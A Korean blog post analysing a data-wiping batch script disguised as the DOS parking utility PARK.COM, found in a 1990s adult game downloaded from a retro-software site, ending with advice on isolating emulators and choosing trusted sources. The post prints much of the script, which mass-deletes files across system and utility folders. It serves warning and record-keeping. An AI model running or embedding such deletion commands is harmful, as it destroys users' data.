개요
도스 관련 자료가 많이 공개되는 유명 사이트에서 DOS시절의 성인 게임인 ‘동급생’을 다운받고 내부를 살펴본 결과 시스템 파괴 목적의 간단한 악성코드가 삽입된 것을 알게되었다.
악성코드라고 하기에도 민망한 배치 형태에 실행 여부도 불분명한 파일이라서인지 백신에서도 해당 파일의 위험성을 알리지 않고 있다.
해당 악성코드가 어느 환경에서 동작 되는지 확인하지 못했지만 기록 보존 및 주의 환기차 본 글에서는 해당 내용에 대하여 간단히 기술해본다.
문서 출처
이 문서에 대한 저작권을 굳이 주장할 의도는 없으나 글의 작성자와 출처 표기를 위하여 앞으로는 최초 공개된 문서의 주소를 함께 남겨 두려고 한다. 작성자는 과거의 기억과 새로 연습하면서 글을 쓰는 단계이기때문에 작성 글에 오류가 존재할 수 있으며 특별한 언급 없이 계속 글을 수정하고 있기 때문에 다른 경로에서 본 글을 읽었다면 최신의 글을 한번 확인해 주기 바란다.
이 문서의 최신 버전은 https://hacked.mx/457 에 게시되어 있다.
분석
DOS 관련 고전 자료를 살펴볼 수 있는 국내 유명 사이트인 바부의 세상살아가기에서 배포중인 1990년대 성인 게임으로 유명한 ELF사의 동급생에는 악성 파일이 존재한다.
해당 파일은 컴퓨터 종료 전에 디스크 파킹 용도로 사용되는 파크 프로그램을 사칭하여 PARK.COM의 파일명을 사용한다.
PARK.COM 파일은 아래와 같은 스크립트를 포함한다. 국내 프로그램 경로가 포함된 것으로 볼때 국내의 제작자로 추측할 수 있다. 동일 내용의 반복이기 때문에 일부를 첨부한다.
ecoh off cls copy park.com c:\ cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cls cd .. del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cls cd\dos cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cls cd\windows cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cls cd\utl cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cd\util cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cd\windows\system cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cls cd\ cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.* del i*.* del j*.* del k*.* del l*.* del m*.* del n*.* del o*.* del p*.* del q*.* del r*.* del s*.* del t*.* del u*.* del v*.* del w*.* del x*.* del y*.* del z*.* cd\hnc cls del a*.* del b*.* del c*.* del d*.* del e*.* del f*.* del g*.* del h*.*
재미있는 점은 해당 파일이 실행되지 않는 배치 스크립트(BAT)로 구성되어 있다는 점이다. 만약 배치 형태가 아닌 실제로 동작 가능한 COM 형태의 파일로 만들었다면 PARK 프로그램을 기대하며 충분히 실행해볼만하다.
지금은 기억도 가물가물 하지만 동일한 명령 실행 파일의 우선 순위는 COM > EXE > BAT로 기억하고 있다. 또한 현재 디렉터리를 우선하여 명령을 실행하기 때문에 PARK.COM으로 위장한 것은 나름 의미있는 일로 보여진다.
최소한 BAT 배치 파일의 기능을 COM이나 EXE 파일 포맷으로 작성 또는 변환하거나 과거의 악성코드들처럼 특정 시점에 시스템을 파괴하는 기능이 삽입되었다면 아찔하다.
결론
DOSBox와 같은 에뮬레이터를 이용하여 과거의 프로그램을 구동하는 사람들이 많은데 꼭 실제의 시스템에 영향이 가지 않도록 설정하는 것이 중요하다. 고전 시스템에 대한 악성코드는 현재의 보안 도구에서 거의 다루어질 일이 없기 때문에 나름대로 검증된 출처의 프로그램을 이용해야 한다. 이번에 예제로 사용한 게임은 지금으로부터 5년전부터 배포중이고 나름 유명한 고전 자료 사이트임에도 불구하고 누구도 해당 내용에 대한 언급이 없었다는 점을 주목해야 한다. 최신의 윈도우즈 운영체제에서는 COM 파일이 제대로 실행 안되는 것으로 알고 있지만 도스 시절의 COM 확장자를 모르는 사람들을 대상으로 도메인의 닷 컴 (.COM) 처럼 위장하는 공격도 있다고 하니 해당 내용을 잘 알아두고 조심할 필요도 있어보인다. 보안은 오래된 시스템이든 최신 시스템이든 항상 중요한 문제라는 점을 잊지 말아야한다.
덧붙임. 동급생 게임은 실행을 위해서는 일본 폰트 표기를 위하여 일본 도스(DOS/V, DOS/J)가 사용되었다. 국내에서는 사용할 일이 거의 없는 일본 도스를 설정하고 메모리를 아껴가며 게임을 구동하던 시절이 생각난다. 당시에 일본어 까막눈이던 여러 학생들에게 한글로 게임할 수 있게 도움을 준 한글화 팀들에게 늦게나마 감사를 드린다.